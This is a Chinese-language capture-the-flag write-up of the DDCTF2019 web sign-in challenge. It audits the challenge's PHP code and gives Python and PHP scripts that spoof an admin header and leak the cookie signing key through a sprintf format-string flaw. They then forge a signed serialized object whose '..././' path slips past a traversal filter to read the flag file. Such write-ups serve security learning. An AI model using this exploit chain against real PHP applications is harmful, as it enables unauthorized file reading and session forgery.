开始搞 WEB 不久,最近做了 DDCTF2019 的 WEB 签到题,虽说是签到题,但对我这种初学 WEB 的来说其实不是很简单,学到了不少。在此做一些记录。
index.php
url:http://117.51.158.44/index.php
进去之后提示 ”抱歉,您没有登陆权限,请获取权限后访问-----“,查看 index.php
源代码发现
1 2 3 <body onload="auth()"> <div class='center' id="auth"> </div>
看到执行了 js 的 auth()
函数,查看 index.js
的源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function auth ( ) { $.ajax({ type: "post" , url:"http://117.51.158.44/app/Auth.php" , contentType: "application/json;charset=utf-8" , dataType: "json" , beforeSend: function (XMLHttpRequest ) { XMLHttpRequest.setRequestHeader("didictf_username" , "" ); }, success: function (getdata ) { console .log(getdata); if (getdata.data !== '' ) { document .getElementById('auth' ).innerHTML = getdata.data; } },error :function (error ) { console .log(error); } }); }
发现函数使用了 ajax,并且向 app/Auth.php
POST 一个 json,如果成功,则接收数据并改变 index.php
中 id 为 auth 的 div 的值。
了解了这里的原理,还发现 beforeSend 会设置请求头 didictf_username
,但是这里值为空。
尝试直接请求 app/Auth.php
并且设置头部为 didictf_username:admin
。结果返回了如下 json:
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}
fL2XID2i0Cdh.php
访问 app/fL2XID2i0Cdh.php
发现有两个 php 文件:
app/Application.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Class Application { var $path = '' ; public function response ($data, $errMsg = 'success' ) { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json' ); echo $ret; } public function auth () { $DIDICTF_ADMIN = 'admin' ; if (!empty ($_SERVER['HTTP_DIDICTF_USERNAME' ]) && $_SERVER['HTTP_DIDICTF_USERNAME' ] == $DIDICTF_ADMIN) { $this ->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php' ); return TRUE ; }else { $this ->response('抱歉,您没有登陆权限,请获取权限后访问-----' ,'error' ); exit (); } } private function sanitizepath ($path) { $path = trim($path); $path=str_replace('../' ,'' ,$path); $path=str_replace('..\\' ,'' ,$path); return $path; } public function __destruct () { if (empty ($this ->path)) { exit (); }else { $path = $this ->sanitizepath($this ->path); if (strlen($path) !== 18 ) { exit (); } $this ->response($data=file_get_contents($path),'Congratulations' ); } exit (); } }
app/Session.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 include 'Application.php' ;class Session extends Application { var $eancrykey = '' ; var $cookie_expiration = 7200 ; var $cookie_name = 'ddctf_id' ; var $cookie_path = '' ; var $cookie_domain = '' ; var $cookie_secure = FALSE ; var $activity = "DiDiCTF" ; public function index () { if (parent ::auth()) { $this ->get_key(); if ($this ->session_read()) { $data = 'DiDI Welcome you %s' ; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT' ]); parent ::response($data,'sucess' ); }else { $this ->session_create(); $data = 'DiDI Welcome you' ; parent ::response($data,'sucess' ); } } } private function get_key () { $this ->eancrykey = file_get_contents('../config/key.txt' ); } public function session_read () { if (empty ($_COOKIE)) { return FALSE ; } $session = $_COOKIE[$this ->cookie_name]; if (!isset ($session)) { parent ::response("session not found" ,'error' ); return FALSE ; } $hash = substr($session,strlen($session)-32 ); $session = substr($session,0 ,strlen($session)-32 ); if ($hash !== md5($this ->eancrykey.$session)) { parent ::response("the cookie data not match" ,'error' ); return FALSE ; } $session = unserialize($session); if (!is_array($session) OR !isset ($session['session_id' ]) OR !isset ($session['ip_address' ]) OR !isset ($session['user_agent' ])){ return FALSE ; } if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); } if ($session['ip_address' ] != $_SERVER['REMOTE_ADDR' ]) { parent ::response('the ip addree not match' .'error' ); return FALSE ; } if ($session['user_agent' ] != $_SERVER['HTTP_USER_AGENT' ]) { parent ::response('the user agent not match' ,'error' ); return FALSE ; } return TRUE ; } private function session_create () { $sessionid = '' ; while (strlen($sessionid) < 32 ) { $sessionid .= mt_rand(0 ,mt_getrandmax()); } $userdata = array ( 'session_id' => md5(uniqid($sessionid,TRUE )), 'ip_address' => $_SERVER['REMOTE_ADDR' ], 'user_agent' => $_SERVER['HTTP_USER_AGENT' ], 'user_data' => '' , ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this ->eancrykey.$cookiedata); $expire = $this ->cookie_expiration + time(); setcookie( $this ->cookie_name, $cookiedata, $expire, $this ->cookie_path, $this ->cookie_domain, $this ->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
可以看到 Session.php
中的 Session 类继承了 Application.php
中的 Application 类。注意到 Application 类有 __destruct()
函数,可以读取文件,并且根据提示可以得到 flag 路径为 config/flag.txt
(当然不能直接访问,需要用户名和密码。。。),根据过滤和限制条件可以构造 path 为: ..././config/flag.txt
。__destruct()
函数在对象销毁时会执行,而且源码存在反序列化的语句,所以现在的问题是如何传入序列化后的代码。
看到最后 ddctf 是 Session 类的一个对象,然后执行了 index() 函数,然后进入 session_read()
函数,如果没有正确的 cookie,则会返回 FALSE,进入 session_create()
函数然后 setcookie。
所以先获取一个 cookie:
1 2 3 4 5 6 7 8 9 import requestsurl = 'http://117.51.158.44/app/Session.php' headers = { 'User-Agent' : 'Mozilla' , 'didictf-username' : 'admin' , } r = requests.post(url=url, headers=headers) print(r.cookies)
得到 cookie:
ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2202276843887799f827eb248c5d0fa47d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22112.48.20.33%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A7%3A%22Mozilla%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D23a5a01eff6bd4cd0f118017428a5200
url 解码后为:
ddctf_id=a:4{s:10:"session_id";s:32:"02276843887799f827eb248c5d0fa47d";s:10:"ip_address";s:12:"112.48.20.33";s:10:"user_agent";s:7:"Mozilla";s:9:"user_data";s:0:"";}23a5a01eff6bd4cd0f118017428a5200
可以看到前面是序列化后的 Session,后面是 eancrykey + Session 的 MD5 值。因此无法直接传入序列化后的 Application 类的对象,但发现可以通过 nickname 这段代码获取 eancrykey 的值:
1 2 3 4 5 6 7 8 if (!empty ($_POST["nickname" ])) { $arr = array ($_POST["nickname" ],$this ->eancrykey); $data = "Welcome my friend %s" ; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent ::response($data,"Welcome" ); }
这段代码获取 POST 的 nickname 的值,然后和 eancrykey 组成一个数组,然后取这个数组的每一个值,用 sprintf 函数将 data 作为可格式化的字符串,将数组中的每一个值写入 data 中得到新的 data 值。因此可以将 nickname 的值设为 %s,这样经过第一次格式化之后 data 的值仍为 Welcome my friend %s
,然后第二次格式化就可以将 eancrykey 的值写入 data,然后传回客户端了。
那么用得到的 cookie 向服务器 POST nickname:
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = 'http://117.51.158.44/app/Session.php' payload = {'nickname' : '%s' } headers = { 'User-Agent' : 'Mozilla' , 'didictf_username' : 'admin' , 'Cookie' : 'ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2202276843887799f827eb248c5d0fa47d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22112.48.20.33%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A7%3A%22Mozilla%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D23a5a01eff6bd4cd0f118017428a5200' } r = requests.post(url=url, data=payload, headers=headers) print(r.text)
得到:
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla"}
现在得到了 eancrykey 的值为 EzblrbNS。
由于需要计算 MD5、序列化等,这里直接写 php 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php Class Application { var $path = '..././config/flag.txt' ; } $p = serialize(new Application); $key = 'EzblrbNS' ; $md5 = md5($key. $p); $url = 'http://117.51.158.44/app/Session.php' ; $cookie = 'ddctf_id=' . urlencode($p. $md5); $payload = array ('nickname' => '%s' ); $head = array ('didictf_username: admin' ); $ch = curl_init(); $options = array ( CURLOPT_URL => $url, CURLOPT_POST => TRUE , CURLOPT_HTTPHEADER => $head, CURLOPT_USERAGENT => 'Mozilla' , CURLOPT_POSTFIELDS => http_build_query($payload), CURLOPT_RETURNTRANSFER => TRUE , CURLOPT_COOKIE => $cookie ); curl_setopt_array($ch, $options); echo curl_exec($ch);?>
得到:
{"errMsg":"success","data":"您当前当前权限为管理员----请访问:app\\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}
最终得到 flag。
这道题并不难,只是代码审计方面比较多,牵扯一些基本知识。这也算我真正开始打 WEB 了。